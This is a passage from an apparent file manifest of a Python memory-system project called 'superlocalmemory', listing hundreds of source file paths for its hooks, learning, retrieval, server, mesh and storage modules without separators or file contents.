hooks/auto_capture.pysrc/superlocalmemory/hooks/auto_invoker.pysrc/superlocalmemory/hooks/auto_parameterize.pysrc/superlocalmemory/hooks/auto_recall.pysrc/superlocalmemory/hooks/auto_recall_hook.pysrc/superlocalmemory/hooks/before_web_hook.pysrc/superlocalmemory/hooks/claude_code_hooks.pysrc/superlocalmemory/hooks/codex_assets.pysrc/superlocalmemory/hooks/codex_handlers.pysrc/superlocalmemory/hooks/codex_hooks.pysrc/superlocalmemory/hooks/context_payload.pysrc/superlocalmemory/hooks/copilot_adapter.pysrc/superlocalmemory/hooks/cross_platform_connector.pysrc/superlocalmemory/hooks/cursor_adapter.pysrc/superlocalmemory/hooks/event_delivery.pysrc/superlocalmemory/hooks/event_spool.pysrc/superlocalmemory/hooks/hook_daemon.pysrc/superlocalmemory/hooks/hook_deadline.pysrc/superlocalmemory/hooks/hook_handlers.pysrc/superlocalmemory/hooks/ide_connector.pysrc/superlocalmemory/hooks/memory_protocol.pysrc/superlocalmemory/hooks/payload_keys.pysrc/superlocalmemory/hooks/portable_install.pysrc/superlocalmemory/hooks/portable_kit.pysrc/superlocalmemory/hooks/post_tool_async_hook.pysrc/superlocalmemory/hooks/post_tool_outcome_hook.pysrc/superlocalmemory/hooks/prewarm_auth.pysrc/superlocalmemory/hooks/rules_engine.pysrc/superlocalmemory/hooks/session_registry.pysrc/superlocalmemory/hooks/stop_outcome_hook.pysrc/superlocalmemory/hooks/sync_loop.pysrc/superlocalmemory/hooks/topic_shift_hook.pysrc/superlocalmemory/hooks/user_prompt_hook.pysrc/superlocalmemory/hooks/user_prompt_rehash_hook.pysrc/superlocalmemory/hooks/verify_mcp.pysrc/superlocalmemory/infra/__init__.pysrc/superlocalmemory/infra/auth_middleware.pysrc/superlocalmemory/infra/backup.pysrc/superlocalmemory/infra/backup_archive.pysrc/superlocalmemory/infra/backup_credentials.pysrc/superlocalmemory/infra/backup_crypto.pysrc/superlocalmemory/infra/backup_keys.pysrc/superlocalmemory/infra/backup_media.pysrc/superlocalmemory/infra/backup_obligations.pysrc/superlocalmemory/infra/cloud_backup.pysrc/superlocalmemory/infra/cloud_backup_crypto.pysrc/superlocalmemory/infra/cloud_backup_github.pysrc/superlocalmemory/infra/daemon_identity.pysrc/superlocalmemory/infra/data_root.pysrc/superlocalmemory/infra/erased_subjects.pysrc/superlocalmemory/infra/event_bus.pysrc/superlocalmemory/infra/instance_lock.pysrc/superlocalmemory/infra/local_diagnostics.pysrc/superlocalmemory/infra/mcp_legacy.pysrc/superlocalmemory/infra/mcp_processes.pysrc/superlocalmemory/infra/mcp_registry_files.pysrc/superlocalmemory/infra/owner_only_acl.pysrc/superlocalmemory/infra/pid_manager.pysrc/superlocalmemory/infra/private_files.pysrc/superlocalmemory/infra/proc_memory.pysrc/superlocalmemory/infra/process_identity.pysrc/superlocalmemory/infra/process_reaper.pysrc/superlocalmemory/infra/rate_limiter.pysrc/superlocalmemory/infra/self_heal.pysrc/superlocalmemory/infra/service_files.pysrc/superlocalmemory/infra/service_mutation.pysrc/superlocalmemory/infra/sqlite_scrub.pysrc/superlocalmemory/infra/version_integrity.pysrc/superlocalmemory/ingestion/__init__.pysrc/superlocalmemory/ingestion/adapter_config.pysrc/superlocalmemory/ingestion/adapter_manager.pysrc/superlocalmemory/ingestion/base_adapter.pysrc/superlocalmemory/ingestion/calendar_adapter.pysrc/superlocalmemory/ingestion/credentials.pysrc/superlocalmemory/ingestion/gmail_adapter.pysrc/superlocalmemory/ingestion/import_roots.pysrc/superlocalmemory/ingestion/parsers.pysrc/superlocalmemory/ingestion/transcript_adapter.pysrc/superlocalmemory/integrations/__init__.pysrc/superlocalmemory/integrations/bounded_loops_mcp.pysrc/superlocalmemory/integrations/bounded_loops_v051.pysrc/superlocalmemory/learning/__init__.pysrc/superlocalmemory/learning/adaptive.pysrc/superlocalmemory/learning/arm_catalog.pysrc/superlocalmemory/learning/assertion_miner.pysrc/superlocalmemory/learning/bandit.pysrc/superlocalmemory/learning/bandit_cache.pysrc/superlocalmemory/learning/bandit_draw.pysrc/superlocalmemory/learning/behavioral.pysrc/superlocalmemory/learning/bootstrap.pysrc/superlocalmemory/learning/consolidation_cycle.pysrc/superlocalmemory/learning/consolidation_quantization_worker.pysrc/superlocalmemory/learning/consolidation_worker.pysrc/superlocalmemory/learning/cross_project.pysrc/superlocalmemory/learning/database.pysrc/superlocalmemory/learning/dedup_hnsw.pysrc/superlocalmemory/learning/engagement.pysrc/superlocalmemory/learning/engagement_features.pysrc/superlocalmemory/learning/ensemble.pysrc/superlocalmemory/learning/entity_compiler.pysrc/superlocalmemory/learning/fact_outcome_joins.pysrc/superlocalmemory/learning/features.pysrc/superlocalmemory/learning/feedback.pysrc/superlocalmemory/learning/forgetting_metadata.pysrc/superlocalmemory/learning/forgetting_scheduler.pysrc/superlocalmemory/learning/hnsw_dedup.pysrc/superlocalmemory/learning/labeler.pysrc/superlocalmemory/learning/learning_state.pysrc/superlocalmemory/learning/legacy_migration.pysrc/superlocalmemory/learning/lifecycle_policy.pysrc/superlocalmemory/learning/lightgbm_subprocess.pysrc/superlocalmemory/learning/memory_merge.pysrc/superlocalmemory/learning/model_cache.pysrc/superlocalmemory/learning/model_rollback.pysrc/superlocalmemory/learning/outcome_events.pysrc/superlocalmemory/learning/outcome_queue.pysrc/superlocalmemory/learning/outcomes.pysrc/superlocalmemory/learning/pattern_miner.pysrc/superlocalmemory/learning/pattern_miner_constants.pysrc/superlocalmemory/learning/pcos.pysrc/superlocalmemory/learning/project_context.pysrc/superlocalmemory/learning/propensity.pysrc/superlocalmemory/learning/ranker.pysrc/superlocalmemory/learning/ranker_common.pysrc/superlocalmemory/learning/ranker_retrain_legacy.pysrc/superlocalmemory/learning/ranker_retrain_online.pysrc/superlocalmemory/learning/retrain_trigger.pysrc/superlocalmemory/learning/reward.pysrc/superlocalmemory/learning/reward_archive.pysrc/superlocalmemory/learning/reward_boost.pysrc/superlocalmemory/learning/reward_from_outcomes.pysrc/superlocalmemory/learning/reward_model.pysrc/superlocalmemory/learning/reward_proxy.pysrc/superlocalmemory/learning/shadow_serving.pysrc/superlocalmemory/learning/shadow_test.pysrc/superlocalmemory/learning/signal_kinds.pysrc/superlocalmemory/learning/signal_worker.pysrc/superlocalmemory/learning/signals.pysrc/superlocalmemory/learning/skill_health.pysrc/superlocalmemory/learning/skill_metrics.pysrc/superlocalmemory/learning/skill_performance_miner.pysrc/superlocalmemory/learning/source_quality.pysrc/superlocalmemory/learning/training_rows.pysrc/superlocalmemory/learning/trigram_index.pysrc/superlocalmemory/learning/workflows.pysrc/superlocalmemory/llm/__init__.pysrc/superlocalmemory/llm/backbone.pysrc/superlocalmemory/llm/ollama_reachability.pysrc/superlocalmemory/loops/__init__.pysrc/superlocalmemory/loops/artifact_revision.pysrc/superlocalmemory/loops/budget.pysrc/superlocalmemory/loops/check_definition.pysrc/superlocalmemory/loops/check_lock.pysrc/superlocalmemory/loops/check_output.pysrc/superlocalmemory/loops/check_process.pysrc/superlocalmemory/loops/engine.pysrc/superlocalmemory/loops/execution_guard.pysrc/superlocalmemory/loops/execution_receipts.pysrc/superlocalmemory/loops/ledger.pysrc/superlocalmemory/loops/models.pysrc/superlocalmemory/loops/private_workspace.pysrc/superlocalmemory/loops/process_sweep.pysrc/superlocalmemory/loops/pytest_config.pysrc/superlocalmemory/loops/receipt_gate.pysrc/superlocalmemory/loops/receipt_jobs.pysrc/superlocalmemory/loops/rules.pysrc/superlocalmemory/loops/stop_reasons.pysrc/superlocalmemory/math/__init__.pysrc/superlocalmemory/math/contradiction_evidence.pysrc/superlocalmemory/math/ebbinghaus.pysrc/superlocalmemory/math/fisher.pysrc/superlocalmemory/math/fisher_quantized.pysrc/superlocalmemory/math/hopfield.pysrc/superlocalmemory/math/langevin.pysrc/superlocalmemory/math/orthogonal.pysrc/superlocalmemory/math/polar_quant.pysrc/superlocalmemory/math/qjl.pysrc/superlocalmemory/math/sheaf.pysrc/superlocalmemory/math/turbo_quant.pysrc/superlocalmemory/mcp/__init__.pysrc/superlocalmemory/mcp/_daemon_proxy.pysrc/superlocalmemory/mcp/_pool_adapter.pysrc/superlocalmemory/mcp/_recall_metadata.pysrc/superlocalmemory/mcp/_remember_kind.pysrc/superlocalmemory/mcp/_stdin_guard.pysrc/superlocalmemory/mcp/agent_context.pysrc/superlocalmemory/mcp/cli_fallback.pysrc/superlocalmemory/mcp/compression_service.pysrc/superlocalmemory/mcp/http_transport.pysrc/superlocalmemory/mcp/local_lifecycle.pysrc/superlocalmemory/mcp/loop_runner.pysrc/superlocalmemory/mcp/profile_names.pysrc/superlocalmemory/mcp/profiles.pysrc/superlocalmemory/mcp/remote_caller.pysrc/superlocalmemory/mcp/remote_visibility.pysrc/superlocalmemory/mcp/request_deadline.pysrc/superlocalmemory/mcp/request_profile.pysrc/superlocalmemory/mcp/resources.pysrc/superlocalmemory/mcp/server.pysrc/superlocalmemory/mcp/session_binding.pysrc/superlocalmemory/mcp/session_schedule.pysrc/superlocalmemory/mcp/session_start.pysrc/superlocalmemory/mcp/shared.pysrc/superlocalmemory/mcp/tool_gate.pysrc/superlocalmemory/mcp/tool_hints.pysrc/superlocalmemory/mcp/tools.pysrc/superlocalmemory/mcp/tools_active.pysrc/superlocalmemory/mcp/tools_brain.pysrc/superlocalmemory/mcp/tools_code_graph.pysrc/superlocalmemory/mcp/tools_context.pysrc/superlocalmemory/mcp/tools_core.pysrc/superlocalmemory/mcp/tools_evolution.pysrc/superlocalmemory/mcp/tools_expand.pysrc/superlocalmemory/mcp/tools_kinds.pysrc/superlocalmemory/mcp/tools_learning.pysrc/superlocalmemory/mcp/tools_loops.pysrc/superlocalmemory/mcp/tools_media.pysrc/superlocalmemory/mcp/tools_media_upload.pysrc/superlocalmemory/mcp/tools_mesh.pysrc/superlocalmemory/mcp/tools_mesh_remote.pysrc/superlocalmemory/mcp/tools_ops.pysrc/superlocalmemory/mcp/tools_optimize.pysrc/superlocalmemory/mcp/tools_summaries.pysrc/superlocalmemory/mcp/tools_v28.pysrc/superlocalmemory/mcp/tools_v3.pysrc/superlocalmemory/mcp/tools_v33.pysrc/superlocalmemory/mcp/tools_views.pysrc/superlocalmemory/media/__init__.pysrc/superlocalmemory/media/erasure.pysrc/superlocalmemory/media/erasure_documents.pysrc/superlocalmemory/media/files.pysrc/superlocalmemory/media/gc.pysrc/superlocalmemory/media/generation.pysrc/superlocalmemory/media/ingest.pysrc/superlocalmemory/media/labels.pysrc/superlocalmemory/media/readiness.pysrc/superlocalmemory/media/repair.pysrc/superlocalmemory/media/revet.pysrc/superlocalmemory/media/schema.pysrc/superlocalmemory/media/store.pysrc/superlocalmemory/media/store_doc_erase.pysrc/superlocalmemory/media/store_documents.pysrc/superlocalmemory/media/store_erase.pysrc/superlocalmemory/media/store_jobs.pysrc/superlocalmemory/media/store_revet.pysrc/superlocalmemory/media/upload_links.pysrc/superlocalmemory/memory_core/__init__.pysrc/superlocalmemory/memory_core/duplicates.pysrc/superlocalmemory/memory_core/save_path.pysrc/superlocalmemory/memory_core/save_scope.pysrc/superlocalmemory/memory_core/submit.pysrc/superlocalmemory/mesh/__init__.pysrc/superlocalmemory/mesh/broker.pysrc/superlocalmemory/mesh/broker_cleanup.pysrc/superlocalmemory/mesh/broker_inbox.pysrc/superlocalmemory/mesh/broker_owner.pysrc/superlocalmemory/mesh/broker_profiles.pysrc/superlocalmemory/mesh/broker_security.pysrc/superlocalmemory/mesh/broker_web.pysrc/superlocalmemory/mesh/broker_web_lease.pysrc/superlocalmemory/mesh/discovery.pysrc/superlocalmemory/mesh/envelope.pysrc/superlocalmemory/mesh/lock_protocol.pysrc/superlocalmemory/mesh/mesh_erasure.pysrc/superlocalmemory/mesh/mesh_store.pysrc/superlocalmemory/mesh/node_identity.pysrc/superlocalmemory/mesh/outbox_remote.pysrc/superlocalmemory/mesh/remote_sync.pysrc/superlocalmemory/mesh/state_sync.pysrc/superlocalmemory/migrations/__init__.pysrc/superlocalmemory/migrations/v3_4_25_to_v3_4_26.pysrc/superlocalmemory/optimize/__init__.pysrc/superlocalmemory/optimize/adapters/__init__.pysrc/superlocalmemory/optimize/adapters/_agent_registry.pysrc/superlocalmemory/optimize/adapters/anthropic_adapter.pysrc/superlocalmemory/optimize/adapters/openai_adapter.pysrc/superlocalmemory/optimize/adapters/request_identity.pysrc/superlocalmemory/optimize/adapters/response_codec.pysrc/superlocalmemory/optimize/adapters/wrap.pysrc/superlocalmemory/optimize/cache/__init__.pysrc/superlocalmemory/optimize/cache/boundary_store.pysrc/superlocalmemory/optimize/cache/centroid_store.pysrc/superlocalmemory/optimize/cache/context_key.pysrc/superlocalmemory/optimize/cache/exact.pysrc/superlocalmemory/optimize/cache/invalidation.pysrc/superlocalmemory/optimize/cache/key_builder.pysrc/superlocalmemory/optimize/cache/manager.pysrc/superlocalmemory/optimize/cache/semantic.pysrc/superlocalmemory/optimize/cache/semantic_embedder.pysrc/superlocalmemory/optimize/cache/semantic_space.pysrc/superlocalmemory/optimize/cache/stampede.pysrc/superlocalmemory/optimize/compress/__init__.pysrc/superlocalmemory/optimize/compress/align.pysrc/superlocalmemory/optimize/compress/ccr.pysrc/superlocalmemory/optimize/compress/prose_llmlingua.pysrc/superlocalmemory/optimize/compress/router.pysrc/superlocalmemory/optimize/config/__init__.pysrc/superlocalmemory/optimize/config/defaults.pysrc/superlocalmemory/optimize/config/schema.pysrc/superlocalmemory/optimize/config/store.pysrc/superlocalmemory/optimize/metrics/__init__.pysrc/superlocalmemory/optimize/metrics/counters.pysrc/superlocalmemory/optimize/metrics/estimator.pysrc/superlocalmemory/optimize/metrics/exporters.pysrc/superlocalmemory/optimize/metrics/mcp_compression.pysrc/superlocalmemory/optimize/metrics/persistence.pysrc/superlocalmemory/optimize/proxy/__init__.pysrc/superlocalmemory/optimize/proxy/_helpers.pysrc/superlocalmemory/optimize/proxy/access.pysrc/superlocalmemory/optimize/proxy/anthropic_surface.pysrc/superlocalmemory/optimize/proxy/capture.pysrc/superlocalmemory/optimize/proxy/gemini_surface.pysrc/superlocalmemory/optimize/proxy/lifecycle.pysrc/superlocalmemory/optimize/proxy/openai_surface.pysrc/superlocalmemory/optimize/proxy/server.pysrc/superlocalmemory/optimize/proxy/vertex_surface.pysrc/superlocalmemory/optimize/storage/__init__.pysrc/superlocalmemory/optimize/storage/db.pysrc/superlocalmemory/optimize/storage/erasure.pysrc/superlocalmemory/optimize/storage/provenance.pysrc/superlocalmemory/optimize/storage/schema.pysrc/superlocalmemory/parameterization/__init__.pysrc/superlocalmemory/parameterization/cross_project.pysrc/superlocalmemory/parameterization/pattern_extractor.pysrc/superlocalmemory/parameterization/pii_filter.pysrc/superlocalmemory/parameterization/prompt_injector.pysrc/superlocalmemory/parameterization/prompt_lifecycle.pysrc/superlocalmemory/parameterization/soft_prompt_generator.pysrc/superlocalmemory/parameterization/workflow_miner.pysrc/superlocalmemory/reliability/__init__.pysrc/superlocalmemory/reliability/join_liveness.pysrc/superlocalmemory/reliability/prior_distance.pysrc/superlocalmemory/remote_connections/__init__.pysrc/superlocalmemory/remote_connections/async_state.pysrc/superlocalmemory/remote_connections/codec.pysrc/superlocalmemory/remote_connections/companion.pysrc/superlocalmemory/remote_connections/credentials.pysrc/superlocalmemory/remote_connections/gateway_provider.pysrc/superlocalmemory/remote_connections/grant.pysrc/superlocalmemory/remote_connections/grant_keys.pysrc/superlocalmemory/remote_connections/journal.pysrc/superlocalmemory/remote_connections/native_enrollment.pysrc/superlocalmemory/remote_connections/origin.pysrc/superlocalmemory/remote_connections/peer_names.pysrc/superlocalmemory/remote_connections/peer_sync.pysrc/superlocalmemory/remote_connections/private_state.pysrc/superlocalmemory/remote_connections/proof.pysrc/superlocalmemory/remote_connections/renewal.pysrc/superlocalmemory/remote_connections/runtime.pysrc/superlocalmemory/remote_connections/service.pysrc/superlocalmemory/remote_connections/session.pysrc/superlocalmemory/remote_connections/upload_relay.pysrc/superlocalmemory/retrieval/__init__.pysrc/superlocalmemory/retrieval/_worker_process.pysrc/superlocalmemory/retrieval/adjacency_load.pysrc/superlocalmemory/retrieval/adjacency_rcu.pysrc/superlocalmemory/retrieval/adjacency_slot.pysrc/superlocalmemory/retrieval/agentic.pysrc/superlocalmemory/retrieval/ann_index.pysrc/superlocalmemory/retrieval/answer_check_status.pysrc/superlocalmemory/retrieval/answer_question_forms.pysrc/superlocalmemory/retrieval/answerability.pysrc/superlocalmemory/retrieval/bm25_channel.pysrc/superlocalmemory/retrieval/bridge_discovery.pysrc/superlocalmemory/retrieval/calibration_metrics.pysrc/superlocalmemory/retrieval/canonical_vector_index.pysrc/superlocalmemory/retrieval/change_tracked.pysrc/superlocalmemory/retrieval/channel_registry.pysrc/superlocalmemory/retrieval/channel_status.pysrc/superlocalmemory/retrieval/community_context.pysrc/superlocalmemory/retrieval/embedding_calibration.pysrc/superlocalmemory/retrieval/engine.pysrc/superlocalmemory/retrieval/entity_channel.pysrc/superlocalmemory/retrieval/entity_graph_warmup.pysrc/superlocalmemory/retrieval/evidence_attach.pysrc/superlocalmemory/retrieval/evidence_features.pysrc/superlocalmemory/retrieval/exact_lexical.pysrc/superlocalmemory/retrieval/explicit_answer.pysrc/superlocalmemory/retrieval/explicit_slots.pysrc/superlocalmemory/retrieval/facets.pysrc/superlocalmemory/retrieval/fact_cover.pysrc/superlocalmemory/retrieval/fallback_fidelity.pysrc/superlocalmemory/retrieval/forgetting_filter.pysrc/superlocalmemory/retrieval/fusion.pysrc/superlocalmemory/retrieval/graph_adjacency.pysrc/superlocalmemory/retrieval/graph_catchup.pysrc/superlocalmemory/retrieval/graph_delta.pysrc/superlocalmemory/retrieval/hopfield_channel.pysrc/superlocalmemory/retrieval/hosted_redaction.pysrc/superlocalmemory/retrieval/hub_baseline.pysrc/superlocalmemory/retrieval/jev_judge.pysrc/superlocalmemory/retrieval/jev_kinds.pysrc/superlocalmemory/retrieval/jev_rerank.pysrc/superlocalmemory/retrieval/jev_transport.pysrc/superlocalmemory/retrieval/judge_calibration_file.pysrc/superlocalmemory/retrieval/judge_recipe.pysrc/superlocalmemory/retrieval/kind_aware.pysrc/superlocalmemory/retrieval/kind_filter.pysrc/superlocalmemory/retrieval/kind_scope.pysrc/superlocalmemory/retrieval/laya_background.pysrc/superlocalmemory/retrieval/laya_kinds.pysrc/superlocalmemory/retrieval/laya_set_recipe.pysrc/superlocalmemory/retrieval/laya_transport.pysrc/superlocalmemory/retrieval/media_channel.pysrc/superlocalmemory/retrieval/media_rerank.pysrc/superlocalmemory/retrieval/media_scope.pysrc/superlocalmemory/retrieval/profile_channel.pysrc/superlocalmemory/retrieval/project_scope.pysrc/superlocalmemory/retrieval/project_search.pysrc/superlocalmemory/retrieval/quantization_aware_search.pysrc/superlocalmemory/retrieval/query_embedding.pysrc/superlocalmemory/retrieval/query_entities.pysrc/superlocalmemory/retrieval/query_lexicon.pysrc/superlocalmemory/retrieval/query_rewrite.pysrc/superlocalmemory/retrieval/remote_rerank_guard.pysrc/superlocalmemory/retrieval/remote_reranker.pysrc/superlocalmemory/retrieval/remote_reranker_config.pysrc/superlocalmemory/retrieval/remote_view.pysrc/superlocalmemory/retrieval/request_memories.pysrc/superlocalmemory/retrieval/rerank_pool.pysrc/superlocalmemory/retrieval/reranker.pysrc/superlocalmemory/retrieval/reranker_lead.pysrc/superlocalmemory/retrieval/scope_policy.pysrc/superlocalmemory/retrieval/semantic_channel.pysrc/superlocalmemory/retrieval/snapshot_admission.pysrc/superlocalmemory/retrieval/source_assertions.pysrc/superlocalmemory/retrieval/source_fidelity_flags.pysrc/superlocalmemory/retrieval/source_verdict.pysrc/superlocalmemory/retrieval/spreading.pysrc/superlocalmemory/retrieval/spreading_activation.pysrc/superlocalmemory/retrieval/strategy.pysrc/superlocalmemory/retrieval/sufficiency.pysrc/superlocalmemory/retrieval/support_gate.pysrc/superlocalmemory/retrieval/support_recipe.pysrc/superlocalmemory/retrieval/support_tiers.pysrc/superlocalmemory/retrieval/tag_scope.pysrc/superlocalmemory/retrieval/tag_search.pysrc/superlocalmemory/retrieval/temporal_channel.pysrc/superlocalmemory/retrieval/temporal_frame.pysrc/superlocalmemory/retrieval/temporal_slice_cache.pysrc/superlocalmemory/retrieval/temporal_utils.pysrc/superlocalmemory/retrieval/temporal_validity_filter.pysrc/superlocalmemory/retrieval/text_floor.pysrc/superlocalmemory/retrieval/time_filter.pysrc/superlocalmemory/retrieval/time_window.pysrc/superlocalmemory/retrieval/vector_index_build.pysrc/superlocalmemory/retrieval/vector_physical.pysrc/superlocalmemory/retrieval/vector_presence.pysrc/superlocalmemory/retrieval/vector_store.pysrc/superlocalmemory/retrieval/visibility.pysrc/superlocalmemory/runtimes/__init__.pysrc/superlocalmemory/runtimes/features.pysrc/superlocalmemory/runtimes/managed_env.pysrc/superlocalmemory/runtimes/managed_text.pysrc/superlocalmemory/runtimes/media_canary.pysrc/superlocalmemory/runtimes/media_env.pysrc/superlocalmemory/runtimes/media_image_ops.pysrc/superlocalmemory/runtimes/media_models.pysrc/superlocalmemory/runtimes/media_ram.pysrc/superlocalmemory/runtimes/model_sources.pysrc/superlocalmemory/runtimes/multimodal_worker.pysrc/superlocalmemory/runtimes/pdf_parse.pysrc/superlocalmemory/runtimes/ports.pysrc/superlocalmemory/runtimes/space_plan.pysrc/superlocalmemory/runtimes/worker_client.pysrc/superlocalmemory/runtimes/worker_limits.pysrc/superlocalmemory/runtimes/worker_log.pysrc/superlocalmemory/server/__init__.pysrc/superlocalmemory/server/access_gate.pysrc/superlocalmemory/server/acting_profile.pysrc/superlocalmemory/server/answer_check_execution.pysrc/superlocalmemory/server/api.pysrc/superlocalmemory/server/asset_versions.pysrc/superlocalmemory/server/audit_view.pysrc/superlocalmemory/server/background_view.pysrc/superlocalmemory/server/backup_bundle.pysrc/superlocalmemory/server/backup_restore_txn.pysrc/superlocalmemory/server/backup_restore_worker.pysrc/superlocalmemory/server/backup_rollback.pysrc/superlocalmemory/server/bandit_loops.pysrc/superlocalmemory/server/caller_workspace.pysrc/superlocalmemory/server/config_file.pysrc/superlocalmemory/server/consent_receipts.pysrc/superlocalmemory/server/consolidation_runner.pysrc/superlocalmemory/server/daemon_cors.pysrc/superlocalmemory/server/daemon_diagnostics.pysrc/superlocalmemory/server/egress_policy.pysrc/superlocalmemory/server/endpoint_cache.pysrc/superlocalmemory/server/entity_index_repair.pysrc/superlocalmemory/server/forwarded_guard.pysrc/superlocalmemory/server/hook_event_writer.pysrc/superlocalmemory/server/host_guard.pysrc/superlocalmemory/server/kind_error.pysrc/superlocalmemory/server/legacy_port.pysrc/superlocalmemory/server/live_engine.pysrc/superlocalmemory/server/local_host_setup.pysrc/superlocalmemory/server/loopback.pysrc/superlocalmemory/server/manual_heal.pysrc/superlocalmemory/server/media_housekeeping.pysrc/superlocalmemory/server/media_size.pysrc/superlocalmemory/server/memory_health_service.pysrc/superlocalmemory/server/middleware/__init__.pysrc/superlocalmemory/server/middleware/security_headers.pysrc/superlocalmemory/server/mode_selection.pysrc/superlocalmemory/server/mutation_gate.pysrc/superlocalmemory/server/open_files.pysrc/superlocalmemory/server/ops_scope.pysrc/superlocalmemory/server/origin.pysrc/superlocalmemory/server/profile_lease.pysrc/superlocalmemory/server/profile_runtime.pysrc/superlocalmemory/server/rbac_enforce.pysrc/superlocalmemory/server/read_gates.pysrc/superlocalmemory/server/read_targets.pysrc/superlocalmemory/server/recall_admission.pysrc/superlocalmemory/server/recall_cache.pysrc/superlocalmemory/server/recall_core.pysrc/superlocalmemory/server/recall_deadline.pysrc/superlocalmemory/server/recall_dispatch.pysrc/superlocalmemory/server/recall_fallback.pysrc/superlocalmemory/server/recall_health.pysrc/superlocalmemory/server/recall_ingress.pysrc/superlocalmemory/server/recall_serializer.pysrc/superlocalmemory/server/recall_warmup.pysrc/superlocalmemory/server/recovery_inventory.pysrc/superlocalmemory/server/recovery_marker.pysrc/superlocalmemory/server/remember_completion.pysrc/superlocalmemory/server/remote_access.pysrc/superlocalmemory/server/remote_access_state.pysrc/superlocalmemory/server/remote_conn_guard.pysrc/superlocalmemory/server/remote_keys.pysrc/superlocalmemory/server/remote_listener.pysrc/superlocalmemory/server/remote_profile_binding.pysrc/superlocalmemory/server/remote_redaction.pysrc/superlocalmemory/server/remote_tool_policy.pysrc/superlocalmemory/server/route_mutations.pysrc/superlocalmemory/server/routed_profile.pysrc/superlocalmemory/server/routes/__init__.pysrc/superlocalmemory/server/routes/abstraction.pysrc/superlocalmemory/server/routes/adapters.pysrc/superlocalmemory/server/routes/agents.pysrc/superlocalmemory/server/routes/answer_calibration.pysrc/superlocalmemory/server/routes/answer_check.pysrc/superlocalmemory/server/routes/answer_check_actions.pysrc/superlocalmemory/server/routes/answer_check_history.pysrc/superlocalmemory/server/routes/answer_check_support.pysrc/superlocalmemory/server/routes/backup.pysrc/superlocalmemory/server/routes/backup_encryption.pysrc/superlocalmemory/server/routes/backup_legacy_verify.pysrc/superlocalmemory/server/routes/backup_recovery.pysrc/superlocalmemory/server/routes/behavioral.pysrc/superlocalmemory/server/routes/brain.pysrc/superlocalmemory/server/routes/chat.pysrc/superlocalmemory/server/routes/compliance.pysrc/superlocalmemory/server/routes/config_api.pysrc/superlocalmemory/server/routes/connections.pysrc/superlocalmemory/server/routes/dashboard_feeds.pysrc/superlocalmemory/server/routes/dashboard_tasks.pysrc/superlocalmemory/server/routes/data_io.pysrc/superlocalmemory/server/routes/embedding_reindex.pysrc/superlocalmemory/server/routes/entity.pysrc/superlocalmemory/server/routes/events.pysrc/superlocalmemory/server/routes/evolution.pysrc/superlocalmemory/server/routes/export_delivery.pysrc/superlocalmemory/server/routes/export_memories.pysrc/superlocalmemory/server/routes/facets.pysrc/superlocalmemory/server/routes/features.pysrc/superlocalmemory/server/routes/helpers.pysrc/superlocalmemory/server/routes/hook_events.pysrc/superlocalmemory/server/routes/ingest.pysrc/superlocalmemory/server/routes/insights.pysrc/superlocalmemory/server/routes/integrity.pysrc/superlocalmemory/server/routes/learning.pysrc/superlocalmemory/server/routes/learning_readiness.pysrc/superlocalmemory/server/routes/learning_telemetry.pysrc/superlocalmemory/server/routes/lifecycle.pysrc/superlocalmemory/server/routes/local_apps.pysrc/superlocalmemory/server/routes/media.pysrc/superlocalmemory/server/routes/media_dashboard_upload.pysrc/superlocalmemory/server/routes/media_upload.pysrc/superlocalmemory/server/routes/memories.pysrc/superlocalmemory/server/routes/memory_health.pysrc/superlocalmemory/server/routes/memory_kinds.pysrc/superlocalmemory/server/routes/mesh.pysrc/superlocalmemory/server/routes/mesh_lock.pysrc/superlocalmemory/server/routes/mesh_owner.pysrc/superlocalmemory/server/routes/mesh_state.pysrc/superlocalmemory/server/routes/optimize.pysrc/superlocalmemory/server/routes/overtaken.pysrc/superlocalmemory/server/routes/prewarm.pysrc/superlocalmemory/server/routes/profiles.pysrc/superlocalmemory/server/routes/ratelimit.pysrc/superlocalmemory/server/routes/rbac.pysrc/superlocalmemory/server/routes/recall_trace.pysrc/superlocalmemory/server/routes/sources.pysrc/superlocalmemory/server/routes/stats.pysrc/superlocalmemory/server/routes/summaries.pysrc/superlocalmemory/server/routes/tiers.pysrc/superlocalmemory/server/routes/timeline.pysrc/superlocalmemory/server/routes/token.pysrc/superlocalmemory/server/routes/upgrade_restore.pysrc/superlocalmemory/server/routes/v3_api.pysrc/superlocalmemory/server/routes/views.pysrc/superlocalmemory/server/routes/ws.pysrc/superlocalmemory/server/search_presentation.pysrc/superlocalmemory/server/security_middleware.pysrc/superlocalmemory/server/sources_wiring.pysrc/superlocalmemory/server/summary_cache.pysrc/superlocalmemory/server/time_filter_error.pysrc/superlocalmemory/server/ui.pysrc/superlocalmemory/server/unified_daemon.pysrc/superlocalmemory/server/upload_housekeeping.pysrc/superlocalmemory/server/validation_errors.pysrc/superlocalmemory/server/vector_backfill.pysrc/superlocalmemory/server/view_cache.pysrc/superlocalmemory/server/warmup_error.pysrc/superlocalmemory/server/write_governance.pysrc/superlocalmemory/server/write_identity.pysrc/superlocalmemory/sources/__init__.pysrc/superlocalmemory/sources/api.pysrc/superlocalmemory/sources/borrows.pysrc/superlocalmemory/sources/folder_watch.pysrc/superlocalmemory/sources/host.pysrc/superlocalmemory/sources/ignore.pysrc/superlocalmemory/sources/ingest.pysrc/superlocalmemory/sources/links.pysrc/superlocalmemory/sources/locks.pysrc/superlocalmemory/sources/obsidian.pysrc/superlocalmemory/sources/picker.pysrc/superlocalmemory/sources/preview.pysrc/superlocalmemory/sources/reconcile.pysrc/superlocalmemory/sources/report.pysrc/superlocalmemory/sources/retire.pysrc/superlocalmemory/sources/roots.pysrc/superlocalmemory/sources/safe_read.pysrc/superlocalmemory/sources/scanner.pysrc/superlocalmemory/sources/store.pysrc/superlocalmemory/sources/walk.pysrc/superlocalmemory/storage/__init__.pysrc/superlocalmemory/storage/_boot_snapshot.pysrc/superlocalmemory/storage/_downgrade.pysrc/superlocalmemory/storage/_durable_json.pysrc/superlocalmemory/storage/_migration_catalogue.pysrc/superlocalmemory/storage/_migration_internals.pysrc/superlocalmemory/storage/_restore_boot.pysrc/superlocalmemory/storage/_restore_damaged.pysrc/superlocalmemory/storage/_restore_delta.pysrc/superlocalmemory/storage/_restore_intent.pysrc/superlocalmemory/storage/_restore_kinds.pysrc/superlocalmemory/storage/_restore_learning.pysrc/superlocalmemory/storage/_restore_preview.pysrc/superlocalmemory/storage/_restore_public.pysrc/superlocalmemory/storage/_restore_reimport.pysrc/superlocalmemory/storage/_restore_retention.pysrc/superlocalmemory/storage/_restore_types.pysrc/superlocalmemory/storage/_schema_version.pysrc/superlocalmemory/storage/_snapshot_manifest.pysrc/superloc